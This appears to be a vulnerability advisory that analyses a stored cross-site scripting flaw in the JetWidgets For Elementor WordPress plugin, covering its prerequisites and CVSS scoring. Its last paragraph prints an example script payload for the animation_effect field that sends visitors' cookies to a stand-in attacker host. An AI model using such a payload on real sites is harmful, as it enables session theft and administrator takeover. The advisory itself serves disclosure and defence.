JetWidgets For Elementor CVE-2026-11380

Exploitation requires the attacker to hold a valid WordPress user account with at minimum author-level role on the target site; subscriber or lower roles cannot publish or edit pages and are therefore insufficient. The JetWidgets For Elementor plugin (version ≤1.0.21) must be installed and active, and the attacker must have Elementor editing access to a page where the Animated Box widget can be placed. The stored payload executes passively in any visitor's browser upon page load - the victim does not need to click a specific link, only navigate to the injected page through normal browsing. Exploitation is limited by the author-credential prerequisite, meaning sites where untrusted parties hold no author-level accounts face minimal practical risk despite the network-accessible CVSS vector. The scope change to victim browsers is the key risk multiplier: a low-privilege author can target high-privilege administrators who routinely browse published content.

The CVSS 3.1 vector AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N scores 6.4, indicating low-complexity network exploitation requiring only low-privilege credentials (author-level WordPress role) with no attacker-side user interaction and a changed scope affecting victims' browsers. Real-world priority is moderate-to-high in environments where WordPress author accounts are distributed to partially trusted or external contributors, such as multi-author news sites, editorial platforms, or multi-tenant WordPress hosting - in those contexts the PR:L bar is effectively already cleared. Single-operator or administrator-only sites face negligible risk since the attacker prerequisite is a legitimately issued author account. No KEV listing was provided, indicating no confirmed active exploitation at time of analysis, and no EPSS score was supplied, preventing probabilistic quantification. The absence of a public POC further reduces immediate automated exploitation risk. The Changed Scope metric is the most consequential signal: a low-privilege author can impact high-privilege administrators by injecting payloads that execute when admins visit affected pages, enabling de facto privilege escalation.

An attacker who holds or compromises a WordPress author account on a target site opens the Elementor editor, adds an Animated Box widget to a page, and enters a JavaScript payload such as '"><script>document.location='https://attacker.example/steal?c='+document.cookie</script> into the animation_effect field, then publishes the page. The payload is stored in the WordPress database without sanitization; any administrator or authenticated user who subsequently visits that page has the script execute in their browser, allowing the attacker to harvest session tokens and potentially create a rogue administrator account. No public proof-of-concept code has been identified, but the CWE-79 class is well-understood and the specific vulnerable parameter is named in the Wordfence disclosure.